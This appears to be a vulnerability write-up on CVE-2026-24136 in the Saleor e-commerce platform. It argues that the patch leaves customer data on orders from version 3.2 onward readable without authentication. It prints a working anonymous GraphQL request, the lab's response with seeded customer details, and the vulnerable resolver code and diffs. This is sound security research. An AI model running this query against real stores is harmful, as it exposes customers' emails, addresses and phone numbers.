GHSA-r6fj-f4r9-36gr was published on 2026-01-23. The advisory text reads: "Personally identifiable information from orders created before version 3.2.0 could be exposed, including email addresses, addresses, phone numbers." The next sentence reads: "Orders from 3.2.0 onward remain unaffected." The PoC published against CVE-2026-24136 stands up Saleor 3.20, creates fresh orders against it through draftOrderCreate, and reads the customer email, billing address, shipping address, and phone number out of every order through anonymous GraphQL queries against order(id: ...). The orders the PoC reads are 3.2+ orders. The advisory says they remain unaffected. The PoC reads them.
CVE-2026-24136: Saleor's Patch Kept `use_old_id is False` Wide Open. The Schema Description Calls It A Feature.
vendor
pattern
cve
proof of concept
The PoC reads orders the advisory says are unaffected.
BlankBire/CVE-2026-24136-Lab is a docker-compose lab. It stands up saleor/saleor:3.20 against PostgreSQL and Redis, runs populatedb to install the demo channel, and then runs a seed script against the admin GraphQL endpoint to create three customer accounts and six orders with billing and shipping addresses on each. Every order is created by draftOrderCreate on a Saleor 3.20.x release. Every order has use_old_id=False, because that field's default in saleor/order/models.py line 112 is False and the seed runs after the schema is migrated.
The exploit query is one anonymous POST:
POST /graphql/ HTTP/1.1
Host: localhost:8000
Content-Type: application/json
{"query":"query { order(id: \"T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0\") { number userEmail billingAddress { firstName lastName streetAddress1 city phone } shippingAddress { firstName lastName phone } } }"}No Authorization header. The id value is the URL-safe base64 of Order:460d1e27-2b0b-4897-84c9-64b524b08d64, the global object identifier the seed script printed to order_ids.json when it called draftOrderCreate. The response from the lab's Saleor 3.20 build:
{"data":{"order":{
"number":"41",
"userEmail":"[email protected]",
"billingAddress":{
"firstName":"Nguyen","lastName":"Van A",
"streetAddress1":"123 Le Loi Street",
"city":"Ho Chi Minh City",
"phone":"+84901234567"
},
"shippingAddress":{"firstName":"Nguyen","lastName":"Van A","phone":"+84901234567"}
}}}The advisory describes this exact bug. Unauthenticated caller. PII returned in plain text. CWE-639. The advisory's scope sentence says the affected orders are pre-3.2 orders. The order the PoC just read was created against Saleor 3.20.x on a fresh database. There are no pre-3.2 orders in the lab. The PoC works anyway.
The bypass is use_old_id is False.
The Saleor schema-level entry point is OrderQueries.resolve_order in saleor/graphql/order/schema.py. It accepts either id or external_reference. The permission gate runs in one of those two branches:
@staticmethod
def resolve_order(_root, info: ResolveInfo, *, external_reference=None, id=None):
validate_one_of_args_is_in_query(
"id", id, "external_reference", external_reference
)
database_connection_name = get_database_connection_name(info.context)
if not id:
requester = get_user_or_app_from_context(info.context)
permissions = [OrderPermissions.MANAGE_ORDERS]
if not has_one_of_permissions(requester, permissions):
raise PermissionDenied(permissions=permissions)
try:
id = ext_ref_to_global_id_or_error(
models.Order, external_reference, database_connection_name
)
except ValidationError:
return None
_, id = from_global_id_or_error(id, Order)
wrapped_order = resolve_order(info, id)
...The if not id: branch requires MANAGE_ORDERS. When the caller passes id directly, the branch does not run and the function falls through to resolve_order(info, id) in resolvers.py, which loads the row from the database and returns it. No caller credential is consulted at the schema-level resolver on the id path.
The per-field obfuscation lives on the Order GraphQL type. Four resolvers carry the same shape. resolve_billing_address:
def _resolve_billing_address(data):
if isinstance(data, Address):
user = None
address = data
else:
user, address = data
requester = get_user_or_app_from_context(info.context)
if order.use_old_id is False:
return address
if user and is_owner_or_has_one_of_perms(
requester, user, OrderPermissions.MANAGE_ORDERS
):
return address
return obfuscate_address(address)resolve_shipping_address is structurally identical. resolve_user_email:
def _resolve_user_email(user):
requester = get_user_or_app_from_context(info.context)
email_to_return = None
if order.user_email:
email_to_return = order.user_email
elif user:
email_to_return = user.email
if order.use_old_id is False:
return email_to_return
if user and is_owner_or_has_one_of_perms(
requester, user, OrderPermissions.MANAGE_ORDERS
):
return email_to_return
return obfuscate_email(email_to_return)resolve_invoices follows the same shape on a different return type. Four resolvers, one rule. The rule is if order.use_old_id is False: return <raw data>. The auth check sits on the next line and only runs when the short-circuit does not.
use_old_id is a boolean column on the Order model declared in saleor/order/models.py:
use_old_id = models.BooleanField(default=False)The default is False. Migration 0127, dated 2022-02-18, added the field. Migration 0128, dated 2022-03-29, ran one statement:
def set_order_number(apps, schema_editor):
Order = apps.get_model("order", "Order")
Order.objects.all().update(number=F("id"), use_old_id=True)Every order existing at the time of the 3.2 upgrade was backfilled with use_old_id=True. Every order created from that point forward defaults to use_old_id=False. The field is the system's record of which era an order belongs to. The bypass branch fires on the post-3.2 era.
The advisory's claim that "Orders from 3.2.0 onward remain unaffected" is the inversion of what the field encodes. use_old_id is False is 3.2 and later. The bypass that returns raw PII to an anonymous caller fires precisely on the population the advisory says is safe.
PR #9728 named the design out loud.
git log -S "use_old_id is False" saleor/graphql/order/types.py returns one introducing commit: 71c19c951bcfba66fa9a9ee5809a46ad3af8f11f, dated 2022-05-11, authored by Iga Karbowiak. The commit title is the PR title:
Allow fetching by id all order data for new orders (#9728)The change to _resolve_billing_address, verbatim:
requester = get_user_or_app_from_context(info.context)
- if is_owner_or_has_one_of_perms(
+ if root.use_old_id is False or is_owner_or_has_one_of_perms(
requester, user, OrderPermissions.MANAGE_ORDERS
):
return addressThe pre-2022 code was a single permission check. The PR added an OR-clause in front of the check. The OR-clause short-circuits when the order is new. The same OR-clause was added to _resolve_shipping_address, _resolve_user_email, and resolve_invoices in the same commit. Four resolvers, one diff, one rationale.
The same PR rewrote the field descriptions in the GraphQL schema:
billing_address = graphene.Field(
"saleor.graphql.account.types.Address",
description=(
- "Billing address. Requires one of the following permissions to view the "
- f"full data: {OrderPermissions.MANAGE_ORDERS.name}, "
+ "Billing address. The full data can be access for orders created "
+ "in Saleor 3.2 and later, for other orders requires one of the following "
+ f"permissions: {OrderPermissions.MANAGE_ORDERS.name}, "
f"{AuthorizationFilters.OWNER.name}."
),
)The old description said the field required MANAGE_ORDERS or OWNER. The new description said the field can be accessed without permissions for orders created in Saleor 3.2 and later. The PR shipped the documentation and the bypass in the same commit. The design is that the UUID functions as the credential: a caller who knows the UUID has demonstrated, by knowing it, that they belong to the population entitled to read the row.
That bargain is the existence-is-authorization pattern, and we have written it before at the WordPress role layer in Divi Form Builder's role check. Divi's per-call credential was a role name; Saleor's is a UUID. The credential's entropy is different. The shape of the check is the same: the caller's possession of an identifier is treated as the authorization decision.
UUIDs are 122 bits of entropy. They are not enumerable by brute force. They are enumerable by every channel the UUID travels: the order-confirmation email Saleor sends to the customer, the order tracking URL the storefront emits, server access logs that include the URL path, plugin webhooks that forward the order ID, customer-service screenshots, browser history. Every channel that touches the order URL is a channel that hands the credential to anyone with access to the channel. The PR shipped a design that treats the UUID as a bearer token and ships the bearer token through every customer-facing surface that names an order.
The patch closed the branch where None equalled None.
The patch is commit 718ce1b4fc3aef68eeac1aea0cf1d70a614ba6af, merged 2026-01-23 as PR #18714, authored by Maciej Korycinski. The commit message: "Fix incorrect usage of use-old-id". The patch modifies one file, saleor/graphql/order/types.py. The diff for _resolve_billing_address:
requester = get_user_or_app_from_context(info.context)
- if order.use_old_id is False or is_owner_or_has_one_of_perms(
+
+ if order.use_old_id is False:
+ return address
+ if user and is_owner_or_has_one_of_perms(
requester, user, OrderPermissions.MANAGE_ORDERS
):
return address
+
return obfuscate_address(address)The patch splits the OR-clause into two if statements and adds a new precondition: if user and .... The change that matters is if user and. The use_old_id is False short-circuit is preserved verbatim and now lives on the line immediately above. The four resolvers receive the same edit.
The semantic shift is one branch. is_owner_or_has_one_of_perms is defined in saleor/graphql/account/utils.py:
def is_owner_or_has_one_of_perms(
requestor: Union["User", "App", None], owner: Union["User", "App"] | None, *perms
) -> bool:
return requestor == owner or has_one_of_permissions(requestor, perms)The function compares requestor and owner for equality. An anonymous caller's requestor is None. A guest-checkout order has no associated user, so owner is None. Python's None == None is True. For old orders with no user attached, the pre-patch check returned True to an anonymous caller. The pre-patch behavior on old guest orders was the same as on new orders: raw PII returned. The new if user and ... clause skips the auth path entirely when user is falsy and falls through to obfuscate_address. The corner case closes.
The patch's scope is therefore the population of orders where:
use_old_id is True(created before Saleor 3.2),user_id is None(placed without a customer account),- The PII fields (billing address, shipping address, email, invoices) are still in the database.
That population is pre-2022 guest-checkout orders on Saleor stores that have been continuously upgraded across the 3.2 boundary. It is finite, it stops growing in 2022, and it is the population the GHSA advisory describes when it says "orders created before version 3.2.0 could be exposed."
The patch does nothing to the new-order branch. The use_old_id is False: return <raw data> short-circuit is preserved at the top of each resolver. The post-patch behavior on every Saleor 3.2+ order is identical to the pre-patch behavior: the caller's possession of the UUID is the entire authorization.
The schema description tells you what the patch did not change.
The schema field descriptions added in PR #9728 are still on Order today, post-patch. grep -A3 "Saleor 3.2 and later" saleor/graphql/order/types.py returns:
"Billing address. The full data can be access for orders created "
"in Saleor 3.2 and later, for other orders requires one of the following "
"permissions: MANAGE_ORDERS, OWNER."
---
"Shipping address. The full data can be access for orders created "
"in Saleor 3.2 and later, for other orders requires one of the following "
"permissions: MANAGE_ORDERS, OWNER."
---
"Email address of the customer. The full data can be access for orders "
"created in Saleor 3.2 and later, for other orders requires one of "
"the following permissions: MANAGE_ORDERS, OWNER."These strings are introspectable from the public GraphQL schema. Every Saleor storefront's /graphql/ endpoint returns them, today, to anyone who runs __type(name: "Order") { fields { name description } }. The schema's own documentation tells the caller, in English, that PII on Saleor 3.2+ orders is fetchable without a permission. The CVE patch did not edit any of these descriptions.
The PR that introduced the bypass and the PR that patched the CVE are the only two commits that have touched these resolvers' permission logic since 2022. The first PR shipped a bypass and shipped the documentation that names the bypass as a feature. The second PR closed the corner of the bypass where two None values compared equal. The documentation between them did not move.
The CVE record's affected-products field reads "orders created before version 3.2.0." The patched code's runtime behavior matches that record exactly. The bug class the PoC demonstrates against 3.2+ orders is a different bug class than the one the CVE names. It is the one the schema description names.
The CVE patched the branch where the auth check returned true because None equalled None. The branch where the auth check never runs is documented in the GraphQL schema as a feature.